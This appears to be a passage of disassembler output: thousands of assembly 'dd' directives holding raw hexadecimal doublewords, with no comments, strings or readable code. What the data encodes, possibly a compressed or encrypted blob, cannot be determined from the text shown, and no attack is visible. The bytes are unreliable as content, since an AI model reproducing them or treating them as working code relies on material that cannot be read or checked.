0C91041C0h dd 31CE393Bh, 0B2EC23FFh, 4A33075h, 84D1103Eh, 0D96548CDh dd 42ADE090h, 571C39ACh, 6F29B680h, 0AA9230A3h, 0C6F01D12h dd 0F5241481h, 0CFE33084h, 0E2D4B357h, 477D3071h, 0ED57BA0Ah dd 0F40AB4A2h, 5D4284E8h, 82B8A0E9h, 2EE0BD4h, 9EB18473h dd 0CE8064DDh, 55183C70h, 2E67FCB6h, 0B2F09460h, 793D2748h dd 0E5757044h, 0E6D68916h, 0EF476CC3h, 916C1FCBh, 6AC68002h dd 123CD28Fh, 0E2BF6755h, 0B14387B8h, 6465F3C0h, 503D2846h dd 7BD70548h, 524452A3h, 0F794B288h, 257EC078h, 5A00CE8Bh dd 0AE52B3D0h, 0EFFCEF23h, 10C97444h, 0E6B8487Dh, 530B3F75h dd 935DFC8Eh, 61E2D754h, 0D0C7E9Ah, 48DA50B2h, 0B0983870h dd 0F0B647E2h, 0E300F044h, 67BE97A4h, 0E27F7D25h, 26F4D398h dd 0E707D6C0h, 24AE4A8Ah, 60B69F34h, 6086FBB1h, 0E340F200h dd 4FF805E2h, 0CD99B367h, 0ACD068E4h, 94078CACh, 9AEAF203h dd 66F183FFh, 3E6079DDh, 87096F9Eh, 90E49C69h, 994CEF1Ch dd 0E245684Fh, 65A0C739h, 60B0E464h, 2FB909h, 79350D3Bh dd 0A4E50276h, 0AE5E8F09h, 0D9F87951h, 48F18AEh, 0B9A5B34Ah dd 80FC5Fh, 94284C04h, 90A69D65h, 0C2C43BE0h, 0F1CEE284h dd 0BB008097h, 0F0949F66h, 0B0465Ch, 0DA5C081Ah, 19E3EA6h dd 7FE5C401h, 10C05DB0h, 0EC1DA414h, 6AC10173h, 48B93574h dd 4189FD9Ah, 7C3FD648h, 8C4EF8ACh, 878BE900h, 162B9EC0h dd 74149459h, 3F1C8B46h, 6D6E4072h, 67CEE9F2h, 2CC8B94Bh dd 16DD5E3Ah, 88108B44h, 1D8CC1DFh, 5D4FDC5Bh, 8880844Ah dd 919F538Fh, 18D5795Ch, 0E60C00BCh, 48D3F367h, 0D0168AC5h dd 74A417F4h, 31E4605Dh, 8791379Ah, 3DF2AC00h, 326B305Ah dd 470A012Dh, 0A0EC9BFAh, 28F5E438h, 0F8988660h, 0BADE56E8h dd 9D9407ACh, 0B242E223h, 0C879DD7Bh, 0FD194471h, 3C7FE129h dd 0C88E4F7Ch, 22C07588h, 24AE152h, 2E38D853h, 2041A015h dd 0BA4E9298h, 5F130F2h, 0E04F0C98h, 7F152F78h, 0D0AE410h dd 0D1A2D600h, 6B63E870h, 19250E06h, 2EA24541h, 18E5DD08h dd 116044E4h, 0C4BC4A53h, 0E1465Eh, 74DBA763h, 5541501h dd 97C8E5CCh, 0A91C8836h, 0F884048Ch, 0A27B25C4h, 7C5DC03Ch dd 0E46068F8h, 0E0A109F4h, 0B082AD93h, 4700E68Ah, 1625444Eh dd 9EFB7C0h, 1451520Ch, 2718DCF9h, 0E4112802h, 7C6D86BAh dd 45BF0AD0h, 65E28090h, 0FBEF2CD6h, 0C074551Dh, 19EE43C3h dd 0E81C83F5h, 0A09CF12Dh, 1223C7F8h, 0A4CDE4F2h, 51031D68h dd 65AA532Bh, 0D99CA2FAh, 184E791Ch, 2D6F012Ch, 57FF13C1h dd 40D020AEh, 48B58918h, 8846C4B0h, 6C000669h, 0E979A9CFh dd 0E626D3C7h, 0D6AD0136h, 0DF387D82h, 0AACC4245h, 11F88D30h dd 888325C1h, 855E8370h, 8A80B6F8h, 307B5734h, 80913F27h dd 48B01030h, 0C1504E3Ch, 739FA2C8h, 0C038F71Ch, 481A0B2Ah dd 0F4F0DBECh, 41A65330h, 0FAAD7726h, 0BF9A3837h, 1196390Fh dd 93A8453Fh, 2690E210h, 465EB4DEh, 0B7D1178Ch, 832600EFh dd 0BCB67422h, 0E0DCF73Bh, 3ED970E8h, 1FC8B6C0h, 0BD2102F2h dd 90D44DBAh, 504674h, 755EEC43h, 9441464Eh, 0F4B4028Ch dd 3CF1321Ch, 0BB426400h, 0B51A3F3h, 92CD25D9h, 1278E8C9h dd 5C7260h, 9747F845h, 34217566h, 0D72F4CBAh, 94D010B5h dd 20B4B8CCh, 827A9D45h, 81F32230h, 59F9Ch, 0B8EB083Ah dd 23599A46h, 0A8D1BC4Bh, 0D91097F3h, 5982D8CAh, 8C3F019Ch dd 6010BA42h, 94A0BC78h, 0D1C03BE9h, 67AA9AD8h, 0F4A19FB1h dd 0C9218C99h, 374880EAh, 0B477AE1Eh, 81E82AF7h, 0DBD827BCh dd 0B39350B5h, 402850F1h, 372CCEE0h, 27D85493h, 0BCBB004Ah dd 740EC089h, 0DA32D912h, 563EC9E7h, 0B865ADA4h, 0C56006E4h dd 0DC00F1AAh, 6511C14Ch, 5E96FB52h, 8EB816A2h, 0CEEB88E4h dd 0F36B0E60h, 10974247h, 0B33DF1Ch, 362B1723h, 95706018h dd 0CA9CC507h, 75001AE2h, 0D3D5B6D1h, 0E028B6E0h, 0FEB5426h dd 0A0568132h, 2101D76Bh, 3D5F6BF3h, 648300D0h, 103B3FD5h dd 1D9B06E1h, 4948C4F6h, 943D1607h, 2F5086F3h, 261FAAC1h dd 2F5570Fh, 0A0C93A66h, 0E871E451h, 224A5D18h, 783EF090h dd 6F452D90h, 7691B417h, 80620A87h, 0C0678CBCh, 0DE894138h dd 0AC662004h, 129E9488h, 0CB883FA4h, 0C7B1C83Ch, 0C95EF0C1h dd 0B7979E7Dh, 68160590h, 8078DB46h, 593FD2EFh, 2211098Eh dd 0C86218F5h, 8AC6D460h, 60F75D80h, 0A79B703Eh, 0E47BFFC3h dd 0BD5C8803h, 0E91F71BCh, 7434C955h, 5F7066h, 3E426A1Ah dd 2AFB3AE1h, 8B6C3600h, 0FE39EB8Fh, 0AE333827h, 5DC22B80h dd 0A6775ECBh, 9B00D290h, 595A8E5Ch, 5BBE6Ch, 7B3ACF39h dd 0F0346E66h, 9A5F6400h, 8DAD0B06h, 0FCA9057Ah, 0C131E5B4h dd 47E7C8B5h, 892A80D7h, 0B169504h, 7F039CCEh, 0F8A5A159h dd 0D344C2h, 3DE75CBh, 0EB3EA718h, 0F23F7301h, 768B42BCh dd 0FDBEE9C8h, 5DA0E0h, 8594B021h, 2A684FEh, 0EEF54506h dd 82875F8h, 55254FF4h, 0C3A20480h, 0E8C2299Ah, 0FEF845h dd 0E5F186EBh, 0A2D2591h, 0A8C9B133h, 9E94F06Ah, 3CE6006Eh dd 849FD010h, 1E003DB6h, 402D18D9h, 1C767401h, 3A18E03h dd 16259C04h, 0C42090BCh, 0BB0083B5h, 42B46548h, 0A0439D67h dd 0F2E9B5h, 0A190B3B8h, 76ABC15Bh, 1F3ABB00h, 8596D387h dd 6BF630A6h, 0C68FE160h, 0E393F201h, 1CE7445Bh, 0A673F8h dd 3ACCE9FFh, 0AE7E26F9h, 2FB08777h, 39C8B00Ah, 1706DAC4h dd 22985E79h, 8D00BE44h, 0E0FCB2B0h, 9D5FD1h, 0CAA81003h dd 0ED12757Eh, 3FB8C601h dd 0E2E47B4h, 0F4DC16E0h, 787E0027h, 84D224DAh, 0D401072Ch dd 90E092E6h, 83FD4DEAh, 7CDE7BD4h, 0E94E60D9h, 76CE204Ah dd 3F72C0A8h, 69EAC600h, 44084F1Dh, 0FDE700CCh, 0F48B520Ch dd 3700DC05h, 0ED73FF7Ah, 1D4A0Dh, 7F19FA42h, 29DA3F39h dd 49590509h, 0CA0420CFh, 0FBF79Ah, 2BB36725h, 53F0A71h dd 0ACF0B600h, 0F940246Eh, 8F449EAh, 1F3CE800h, 4B1ACA5Ch dd 0B4276704h, 0E890A3ADh, 0D0865B8h, 79AA4060h, 20C4030h dd 0D0181AEFh, 0A7A8996Dh, 83FB07B6h, 0D04A0F05h, 0C255ACDAh dd 0BEB87B60h, 6A5E9Bh, 4D143FCDh, 0CCF7D1Fh, 1F02B00h dd 2FC8DBECh, 0A0BD006Ah, 0CD961A28h, 6F1F89DDh, 0E9055B9Ah dd 984083D9h, 475CA077h, 0EABA0063h, 69CEEBD0h, 0A402F06Bh dd 0E539EC8h, 0BB3E60D8h, 11233C0Ch, 31B06680h, 622AF268h dd 0A9EE0102h, 0E861BE72h, 0F7DA560h, 0AE11D317h, 80D45B8Ah dd 7A761C4Eh, 67031279h, 2CD7BDDDh, 0D4BB80DFh, 0C9EE004Ch dd 0B99FEB2Fh, 14003B9Ch, 0C7F92ED6h, 0A0DAF1h, 0D549546Bh dd 0CC802DE9h, 0F1291137h, 3DE5C4A0h, 0CDD418DDh, 1F497156h dd 80F4A779h, 2F76DF0Ah, 1880A0E0h, 23CBF642h, 30017950h dd 9818798Ch, 0BF0A55ECh, 90A5B814h, 0F4497880h, 169531E2h dd 0F4CB4288h, 48005C54h, 0BF43BC1Fh, 1C1A3DBEh, 7420D4Ch dd 0A97495h, 6632868Fh, 26700107h, 7D8073D2h, 0AA065Dh dd 0DBFFBDCh, 74A89DA9h, 3779780Fh, 140BEE8h, 3E93D5B0h dd 8C2D0036h, 64B31C0Dh, 600F6A5h, 8F5D85ACh, 281618B7h dd 1CCC6AC6h, 40B4D752h, 916172EBh, 5777C5C9h, 62190300h dd 0D0F60E70h, 3FDE02B9h, 0E173324Fh, 577FC360h, 39D5BC3Dh dd 0F05080EBh, 0D8B9E6F9h, 0F2480BF5h, 0F80A2EDh, 2E32775Ah dd 562B5100h, 0A987F1F7h, 0A45D3899h, 91135880h, 712D45D1h dd 7CB4B900h, 8FE72C79h, 0F5860351h, 1DCE4F6Bh, 4532C5E0h dd 0FF969000h, 0A380692Ah, 0D92200DEh, 0F351B155h, 0B2011D84h dd 2CCF1327h, 24203B99h, 9A4D1E6Ch, 50FF40D2h, 6EF948ACh dd 39CC0D1Dh, 0C5210741h, 0D0509E5Ch, 2AA4712Eh, 0EE46AE1h dd 633D7B5Eh, 1E47B8A0h, 0C70560A9h, 0C9136F76h, 6E148C00h dd 0E6BF435h, 0FDE9E8BAh, 0F52E780h, 0E130132Ah, 37F026FCh dd 0A09E1F63h, 0C948C07Ah, 3FB5E512h, 86411F1Dh, 1409EFC3h dd 0E6A9E060h, 901E7CDDh, 0B83F051Dh, 90457668h, 54859C0h dd 0DB07D0Eh, 0A31380DEh, 7033D1Fh, 7247E433h, 40B1C0BAh dd 7000F42Dh, 7B888B51h, 61C21C57h, 0F0B2106Fh, 8793EC74h dd 1A3C2201h, 0B4663EC4h, 0A8D4E8h, 0EB9B30DFh, 0A9918945h dd 6E5F9700h, 58F9F719h, 34AF00A4h, 0E9D01171h, 660648ECh dd 0BEA78C84h, 88B46261h, 64F05F99h, 0E305ADECh, 7D6AD907h dd 57F32AC1h, 0B508CCh, 8B2F2606h, 0D54801A3h, 9E419B03h dd 0F865240Dh, 0F0C76C2Dh, 289B046h, 8FDFF862h, 96E3A6EFh dd 0FF308090h, 6104EC2Ch, 9455CD01h, 0A0EC5D10h, 0AE14044Fh dd 0C075D845h, 0BAE7357Eh, 0AF000776h, 0B918E802h, 0B20954h dd 9E6401B0h, 0DD57C783h, 0E5A83200h, 906FDB37h, 43FC0313h dd 8C94D8A3h, 0B76433B7h, 44EBDE80h, 708A0D4h, 0E9E2BF74h dd 7D94C150h, 0AAF2024Ah, 739ADC46h, 42B20E0h, 0FEAF3F0Fh dd 419DE028h, 0F05ADBh, 9094C336h, 0B3CE5DFDh, 41DF4Ch dd 9C4447BFh, 7E45D46Ah, 41AA00C7h, 0A2666B4Ch, 2700C276h dd 69331B2Fh, 0D6FD08h, 953E0348h, 8D4C57C4h, 0B3A86800h dd 8075AE82h, 37C700A1h, 7FDA70F6h, 910F5697h, 60743051h dd 0BBE4A86Bh, 1D67765h, 0F3D7ABFEh, 407BB0BFh, 0E9D242A4h dd 0B36CFC00h, 697521FFh, 0CDE0031h, 0F5E12F4h, 7409B76Bh dd 68CB80ABh, 0B0A34408h, 44800E4h, 7B84A70Dh, 9E0F5590h dd 20E0FF52h, 502C35E1h, 7DBE0F5h, 2891861Bh, 0D7FF800Fh dd 0A40088A8h, 12030729h, 28428739h, 2F30A12Ch, 88A05285h dd 3C8EE012h, 0CB127CF0h, 14A18BA2h, 74930020h, 0F7589FA7h dd 0C800F0BAh, 0E83B31C3h, 0E043CB7Bh, 5187007Ch, 0A33580AFh dd 3A00B03Ch, 3106C9DAh, 362A2A9h, 4D87FB33h, 0DE8872FFh dd 385F3A8Dh, 93259041h, 94E1CAD8h, 960BE429h, 20C8409Dh dd 3D00BA90h, 706C4725h, 0B0AA934Ch, 0F8B62880h, 0DECA184Ch dd 0AEBF3131h, 0BA33F119h, 18FC2D08h, 0B310A9CBh, 431F3880h dd 21C5A9D8h, 97483500h, 2B9E40BCh, 327C0077h, 4AE4AF3Ch dd 0B71D3455h, 255C978Eh, 0CBD47F43h, 0A745C856h, 38F424h dd 33E83F5Dh, 4F7E2087h, 0D007A075h, 4EC35CB8h, 0E5FE9680h dd 1D736Ch, 8D41D784h, 0F777B9A5h, 1F345013h, 854D2890h dd 0FF01F10h, 6EF60051h, 55A9014Ch, 0C07CAFBFh, 4B3F1E5Ah dd 9BC38EBh, 0CC52007Eh, 0C39EF26Ch, 5F00F8CEh, 0BAFF87CDh dd 9C98606h, 3E198943h, 0B2090C50h, 0F350EF73h, 3EAE783Ch dd 68E8F725h, 2A8888Ch, 0B352C7A4h, 9C5C3AD5h, 0BC102404h dd 0A22540A8h, 72445467h, 1300FE67h, 46B9A68Ch, 97AF34BCh dd 9CEB910Ch, 86F81A41h, 1980EA5Eh, 46B53151h, 4E002083h dd 93CE3E1Fh, 0E2C1C6h, 766DEA3Dh, 22B90121h, 0DC6EA54Eh dd 3F111E07h, 559A799h, 4AB8EC41h, 6C87C8Bh, 0F9BDE3C0h dd 0EFE40046h, 6CD958CBh, 0BA12E523h, 0FCA0557Eh, 9B820A27h dd 28888B70h, 5E6CB6ECh, 8D004F46h, 4BCAD0E1h, 0EC521FA8h dd 5CC84EE4h, 0FB650E18h, 90A0C466h, 930F4C63h, 1000E970h dd 0CD71F0ADh, 18BED743h, 88346403h, 922DD8E8h, 0FDF0E8B0h dd 6F214F9Ah, 6FB20BF4h, 94BE00BDh, 251E3E72h, 48E4E984h dd 813F393Dh, 96F577ADh, 2E2AA004h, 1CE82388h, 23AFC0BFh dd 0D9A09BE4h, 644B1074h, 0A05D34C8h, 574818h, 2DA84E06h dd 0B5C80D14h, 86428300h, 0F1C7F062h, 545C1635h, 1CB0E031h dd 0C6B020BFh, 3419601Dh, 0FCB85551h, 0FBB1B028h, 709E804Ch dd 57BC9309h, 3E80F021h, 0CB40A352h, 942A1200h, 66B1DCC0h dd 6B6C0239h, 19AC379Fh, 9D57A0C2h, 97DF8864h, 0E05B1B60h dd 227FF348h, 0C520A25Ch, 0F5501714h, 0DF73E6D0h, 3A370059h dd 0A220DCEFh, 0CD25F8B6h, 0C507CECCh, 9AD162D0h, 0BB3B9CD8h dd 56D98911h, 38D003BAh, 6A61FAE3h, 79D4D920h, 126B1872h dd 0F422A586h, 9D00D224h, 84F22775h, 95214FBAh, 0EE2370A0h dd 29D66A22h, 0E600D4E2h, 96E36D75h, 9438E84Bh, 2D3F0ED6h dd 4AC1449Dh, 1025AD43h, 5440EE8Ah, 3D285941h, 3C12F892h dd 80E38E54h, 0A730ADE2h, 0DF650496h, 864B1BB2h, 1DB79828h dd 9DEB91B0h, 0DD935B44h, 9640ACh, 5991CFADh, 0F20EC340h dd 47E3A5ECh, 5FD2CA51h, 352080E6h, 0DC3A16h, 0F260161h dd 8B29A6A3h, 0AD0F212h, 5CACCE0h, 1F97694h, 0E98E9BAh dd 65286AC1h, 0DC8817F4h, 0BEC7BB5h, 0CA88EFDEh, 445154F3h dd 0DF029018h, 5EA9BBF4h, 8F5883E8h, 6B99A04Fh, 44C100D3h dd 0C83BE258h, 22015020h, 0BA55B2C9h, 112FAC10h, 40B9A87Ch dd 0EFB71531h, 678A297h, 0F45CD44Ch, 54E3D804h, 4885EE5h dd 2996016Ch, 8505D55Ah, 60B14015h, 0D700E5BEh, 1CC3213Eh dd 1F96EFF7h, 4036E776h, 0E052AEEBh, 5307558Ch, 0F1788497h dd 0CECF1E90h, 0D7880EADh, 838FAE16h, 29912078h, 0CD9B5300h dd 87E5861h, 0ED9E7C78h, 703B7CECh, 141C01DCh, 21A38211h dd 7560D8A7h, 0F2D2DA07h dd 0EF11D630h, 0E1DC5A69h, 7950638Bh, 80AF2EC1h, 74AEE64h dd 91FE0802h, 573036h, 41F53358h, 0FDD7BA01h, 0CDD054E8h dd 216A0898h, 4107E015h, 7C6F7E80h, 9669A6EEh, 1BEAD9h dd 4FD7A165h, 580A91C3h, 886A2518h, 26E497B8h, 3A0495BAh dd 3933686h, 0DC600894h, 95C2C621h, 0B83A738Bh, 0B8350070h dd 23C9F0F2h, 58DD9FE9h, 669F7CFh, 10AEA1h, 89250275h dd 0B2315F91h, 2076DD0Eh, 0B0161B7h, 40482158h, 0DC9508BEh dd 0F8C4C46Bh, 95C6C240h, 0D230F485h, 0AF5F155h, 0C4890E93h dd 0D0958B59h, 0D2C32600h, 7C2DBF63h, 85BCF728h, 1E24DF0h dd 8919EE02h, 0AF523AF8h, 73DA07BCh, 9A87E845h, 8A437B00h dd 0FA150169h, 78177C0Ah, 2098428Eh, 1495BF30h, 588C6BD9h dd 95C7C3A0h, 61257200h, 0C684EC76h, 1493497Ah, 151AB700h dd 743908EEh, 0C9125619h, 2180A008h, 0D41532D1h, 0CFF26723h dd 9E01CAE6h, 36C01FEh, 0B040C3F1h, 0C0831362h, 3F656971h dd 2AF0095Fh, 0B90454A4h, 0DC6BF795h, 0C520D962h, 38B595C1h dd 90812BCAh, 68D2CE87h, 9A2181F3h, 6A86F7A1h, 849660h dd 0E51223F5h, 53AA0BFEh, 77C8720Ch, 6BB9A5h, 0C3E4F7CCh dd 21D5F812h, 0CAE22000h, 0D44F7240h, 0A3F30170h, 6B569857h dd 30C02038h, 8BE85954h, 18BDD003h, 90550615h, 76400B0Eh dd 0BA28CBBBh, 50CC5E00h, 0C8A18A44h, 8BB1824h, 0AC6BF595h dd 0C740F6C4h, 0DBCF95C3h, 3CDDE005h, 0F4007A6Ch, 91F95854h dd 1B49334h, 0D7C041DFh, 886B18CDh, 411FE213h, 9B8224EFh dd 98256360h, 907A67C4h, 0DBCD0C7Ch, 0F2F0F534h, 0EE7A800h dd 3DD5EDF1h, 78238391h, 41DA0133h, 18E5D7BFh, 0E110882Ch dd 62A2410Eh, 14EF60D5h, 0DE1A4Bh, 0D33DF06Eh, 4056A76Fh dd 32461C98h, 0BE41D902h, 2E31DDD7h, 41E41110h, 779C6C00h dd 0C21A6599h, 5A1E373Ah, 0CC91E21h, 36518C18h, 10725437h dd 0E96130A7h, 7026C884h, 28151C02h, 9931C909h, 1534D710h dd 0B319CD00h, 264D8DDFh, 97C92489h, 60C26498h, 29F2151Eh dd 40281908h, 41536CDh, 0AB7D9301h, 0CF6F09BAh, 0A0E960D4h dd 0C9CACC0h, 0D9F0C3CDh, 3E13DF10h, 2C001447h, 6CA7AA6Dh dd 884F41B8h, 12EECC28h, 0F884206Ah, 5638B76Ch, 0B27EA61Ah dd 5D630E00h, 13C69B9Eh, 43513BC5h, 92DD8928h, 69ED9901h dd 8550D766h, 8CE73460h, 1D1F2A75h, 0BEA116CFh, 221898C4h dd 70BE3C53h, 0BC90C0EFh, 8BD4899Bh, 0BC813892h, 81918C5h dd 2108EF15h, 0D440B6C4h, 0C8331531h, 17AF1B00h, 978FD7BDh dd 0CC2613B0h, 23543AA7h, 0FBEB009Fh, 0B054CB4h, 82CD9302h dd 61544280h, 8155250h, 0BDC026D8h, 466BDB95h, 0F522BCh dd 0B995C5C1h, 0C2461089h, 5EDF5F13h, 0C3A50401h, 2435CE18h dd 0DE23E437h, 2011793Dh, 8088FECFh, 53239380h, 0F1486C8Eh dd 0ACDC89ECh, 0EF6007DCh, 34236A95h, 3EB8C08Eh, 210BEE54h dd 21D8D580h, 0FD2EDDCh, 54DE3982h, 8C407194h, 69D6A08Bh dd 8123303Ah, 1B13A02h, 61F86020h, 68F3809Bh, 918544h dd 49287DD1h, 1557F4CCh, 0A03F1EAh, 0B95CD45h, 0E278239Dh dd 1C47271Dh, 64E81ECFh, 1F805C7Bh, 432EA453h, 38E301B9h dd 0AFC2F217h, 8839D04Eh, 0EA59BC01h, 0E718DC57h, 18456C34h dd 0A08C2FD3h, 9B04D4D2h, 3191F8B9h, 48DC40D8h, 0F5263641h dd 0E3167040h, 4BA84101h, 0F0E9B85Eh, 0D3CFC9C7h, 6889DEFDh dd 0DE83450Ch, 1016E034h, 20214012h, 89015B48h, 8C32A9D3h dd 1D80C111h, 108F315h, 0D09E448Ch, 5D153500h, 7BD37E09h dd 0F9D0CBAAh, 0C300C0B7h, 595BD632h, 0C1CBF6C5h, 623DA8B0h dd 1C606353h, 22D721EDh, 0C0238408h, 6BDA95C0h, 0DB229446h dd 95C8C400h, 4DDEDCBFh, 5781069Dh, 68EA54D4h, 0B6D1C491h dd 2F00221Ch, 30EE6C13h, 580646CBh, 0DCBCB00Bh, 1F37B8Ch dd 0EA09340Eh, 40AD8D1Bh, 3FAB2AA4h, 0E42D4B2Ch, 7A406184h dd 2A894D8h, 54DF5955h, 0A04279FCh, 0F7441847h, 36A1BE61h dd 0CA5F004h, 47BC046Fh, 90DD8BCFh, 6A03ED70h, 25652C00h dd 27130A1Ah, 499404D7h, 405A2F0Fh, 0E8F177A5h, 2081F5BFh dd 30744F79h, 32D9105Fh, 8D770016h, 71480805h, 0CF0D9961h dd 68EB10C3h, 3C63EE8Ah, 6778190h, 60535996h, 121276ECh dd 0E83A440Bh, 803D7C23h, 0BF9347F3h, 6267E383h, 0CC6878E5h dd 0A102A802h, 542D84A0h, 0AC04B1BCh, 0C856133Fh, 758CE1ACh dd 0CF1B1428h, 82883C26h, 53209680h, 13CE7674h, 49D33FAAh dd 9B860BDCh, 810F1E6h, 3C7541F7h, 4E30A720h, 8DDB8961h dd 3EED89C1h, 9421148Bh, 0DBE2C072h, 56C45C31h, 1483272h dd 0C869E9C8h, 0FAED18E4h, 0EECF211Ah, 532595C0h, 5E7000D2h dd 23D36FC5h, 4F00BBA8h, 0D57A0AF5h, 0B8358D92h, 0E77C2038h dd 0FB6BF804h, 80819C90h, 820E1E3h, 864A8867h, 0AEDAF900h dd 0A9333C05h, 9DCD00A1h, 0D2062F40h, 0EA66214Dh, 0C251F86Ah dd 0A778586Ah, 8BF28CA0h, 163922A5h, 4F6A9DCBh, 0E17CEC41h dd 5C315480h, 85F0B836h, 0F9006C49h, 276855A6h, 0A8A757ABh dd 3E51B9D4h, 60CCD41Dh, 0D7C73203h, 11268024h, 540F8C1Eh dd 0E000D29Ch, 1BBEFB6Fh, 2F4F4ABDh, 6823B0h, 0E6931D23h dd 0C124A63h, 18D2BB40h, 24392358h, 0DDE1D7B8h, 3FDC4903h dd 17763C56h, 16591D80h, 23902F68h, 26710B9Eh, 0C7570402h dd 11601512h, 193A8064h, 638F7009h, 372FB83Eh, 907B09B4h dd 1203F67Ch, 1A7F36Bh, 9054D028h, 0B4C08B70h, 0F2309151h dd 0CD800EEh, 6980A8F4h, 0A099321Bh, 8CC1DEA0h, 9718A588h dd 9FF691ECh, 0DEFD66C0h, 6D350280h, 0DEF8A150h, 0B41F830h dd 0E915D7B9h, 1A50E416h, 8D3B338Ch, 0B1FE50B8h, 7C2F2724h dd 0F929A640h, 982A009Eh, 935C3A63h, 0CB00BA73h, 0C0087DA1h dd 94DAFBFh, 0FC07A76Eh, 0D789C840h, 20539CA9h, 57403304h dd 2F8B0CD5h, 0EDA09FF1h, 533CD43Ah, 3069A25Ch, 7F00E435h dd 0A053FEFCh, 8152AC8Bh, 0E04C6060h, 78608A41h, 0D8A550B9h dd 3738A950h, 4108F618h, 0C405D7BBh, 0DD14402Ch, 9EAF141h dd 965799C8h, 0E5D22181h, 9851CE68h, 0BCE49525h, 87A100C6h dd 0BC1791B2h, 2ED52911h, 39A02190h, 535F790h, 0F4B4AD0Bh dd 0FCCB1CD5h, 35C09C88h, 714B0DCh, 0BF52F32Eh, 7773E024h dd 1E05E5F6h, 7D9835D7h, 66696490h, 9A2526FAh, 7496DEC0h dd 0FB6C2302h, 3064D094h, 2E91A478h, 0BD008760h, 0D2CAEBAh dd 0F8F9E5h, 20405D44h, 62515C8Ch, 148E9724h, 91A03Eh dd 270741F3h, 37DF119h, 58D112B0h, 1D65BCE8h, 0C0998FD5h dd 7613A74Fh, 7C580C2Eh, 26F20070h, 5C5794CDh, 8E881FA9h dd 34FE1423h, 8C2FACh, 7A1B7571h, 4E034204h, 3C26C37Bh dd 8B8C0C08h, 195161h, 503FE16Fh, 893191C3h, 8420D358h dd 1C93EA6Ah, 0A9A2B00Ch, 0E28800ACh, 74BA07FAh, 0A22EE02h dd 10F50155h, 6E93BB9Fh, 0DDE04212h, 1FE4EC31h, 86067ECFh dd 1F927E44h, 0E4265324h, 0EC3B023Ah, 5479A839h, 0CC1964D9h dd 0EC6068DEh, 0C05CFFC1h, 8FD20693h, 19873BFAh, 0B85B880h dd 0C3124274h, 740084FCh, 7B548D52h, 0F81989A4h, 8A0903ADh dd 852F7C62h, 0ED005A13h, 0D82BAE31h, 0CFB20073h, 0F2396387h dd 365395EFh, 3064A2DCh, 6830DA32h, 2D3FA186h, 79B707FCh dd 82C1AA6Dh, 0CC405BD7h dd 8E058CC8h, 91BB38Dh, 65F81DC2h, 6067E468h, 0C08B7AE2h dd 373845E9h, 0A5003FECh, 0CC6E070Ah, 0EDA6F32Fh, 3A89E448h dd 23127EC9h, 0F280C47Dh, 306BF250h, 0C13B273Bh, 1E518F36h dd 100197E8h, 0AD2E1926h, 4039B420h, 0A28F38Fh, 0F420D07Bh dd 54F201E1h, 5C3E5658h, 0A6388553h, 84E6F8E8h, 0B92330E7h dd 28B00134h, 1AE95367h, 98765D01h, 0EC10C869h, 3CDE0493h dd 0A4878B48h, 0D1A822C2h, 189D7944h, 72993121h, 2E234D8h dd 7C4C4439h, 74F5F23Dh, 0F2952CE3h, 8C7108E4h, 0AD00F32Ch dd 876A8FB7h, 9E3C071Ah, 24F47EE2h, 0E0E8E6A1h, 16ACCADh dd 9C303C3Ah, 3070E1B3h, 7D402418h, 0D9400BC9h, 7023380Ch dd 4100868Bh, 2D8390D4h, 79D739B3h, 20FE0FA9h, 0FA6E57F7h dd 0D9D48EE3h, 9331C010h, 0F45F3E02h, 58EAC4D0h, 6579A059h dd 0CA00B618h, 8CB23614h, 2AB9FBB4h, 5AB08EC7h, 2CC8406Fh dd 163FBCF5h, 0E1AF3E00h, 9A851098h, 0CACB044Ch, 4F508A67h dd 4423407Bh, 10CC429Bh, 92D5BA35h, 7DC86C8Ah, 0CACD9AC0h dd 8C580205h, 0CEF46F9Eh, 50159C5Ah, 1A4BC1Eh, 0D633FB9h dd 608257D5h, 922503D3h, 9CAEF4AEh, 43E681BCh, 697D451Bh dd 58F2298h, 0C4E3CF24h, 0F844B0D1h, 7AACD88h, 0B7565C2Bh dd 88B93080h, 300BD5Eh, 0D3359E76h, 0B1F0CB4Eh, 0B4174968h dd 27806711h, 374008EFh, 6D09BC94h, 0E4A84595h, 623B609Bh dd 47ED0063h, 964FC559h, 410403E2h, 50181606h, 0BE3EACC0h dd 0C2ACB4A9h, 244791FAh, 19602FC4h, 761D706Ch, 6645AD07h dd 6480FA43h, 5C6A5CF2h, 0AB97B427h, 16C81D8Ah, 3821E2C0h dd 0EF800B60h, 49F56125h, 0FDC4A809h, 0CF95009Ch, 0BE4F1A31h dd 0E7005B76h, 0F4BBC2FCh, 0BDC08B35h, 0D66C74h, 0BBC015E6h dd 0DF8166F2h, 9CA2F53Ah, 0F4BFF78Bh, 20FFD85Eh, 0FBC4DBD2h dd 22710F00h, 57CA11Ch, 0D0810018h, 7237BE09h, 0C71C8059h dd 85CE61ADh, 0C1350FD5h, 5AAB4711h, 0ACCFAD7Eh, 0FD10148Bh dd 1CE873F4h, 77EE8Ch, 930E5EF0h, 503C94D1h, 0B59D310Ch dd 15FA021h, 81FEBF0Fh, 8D28EDBDh, 4207D014h, 3BDF85F5h dd 1051FF4Fh, 0CBF99303h, 0FE135EB5h, 1C23CC2Fh, 0B9769C00h dd 0A0A4327Fh, 350FBA9Ch, 0FE250C87h, 310496E2h, 11D01BDh dd 82995FFh, 5DB50B00h, 900C0660h, 3F92E781h, 0FB5B9FF2h dd 211C586Bh, 0FA529934h, 0BABF1005h, 49AA1728h, 72DAFA5Eh dd 220A5CC0h, 8D550F47h, 8529C0ADh, 0BA2E2530h, 5E89F8F9h dd 300EFFBDh, 164DC68Bh, 0EF81020Ch, 2E8ADD4Ch, 58D2D3F7h dd 0C004C75h, 20466332h, 1E42EC4h, 0D54BE66h, 48E9F28Bh dd 681395B9h, 0AE004A69h, 8DB2705Dh, 90C76E62h, 46DF022Bh dd 72670022h, 2AF47A43h, 1E00FF9Eh, 55F17664h, 0A2257BEh dd 0E95E31FEh, 0EF7B0079h, 0AF010F0Bh, 40FB985Bh, 267B8E2h dd 8B00CF8Fh, 52AC06FCh, 61D2557h, 94F673C0h, 4920825Eh dd 95890D28h, 420C0B75h, 242C1318h, 6F2C4111h, 0E601F4EDh dd 0B6D62682h, 0F491E92Ah, 0FF71F7E3h, 459D890Ah, 0C197B917h dd 0C002DAEAh, 4B68A796h, 0D58206AFh, 9660BCBEh, 10890644h dd 111DCD85h, 0AF6204EBh, 2B070639h, 71C1563h, 59858D0Ch dd 0FE96CF26h, 0D3C4E89Ah, 0C069C060h, 5748A26Dh, 583B403Bh dd 5090610Eh, 24FC87BEh, 0D77B5E57h, 86A621E8h, 0C862D400h 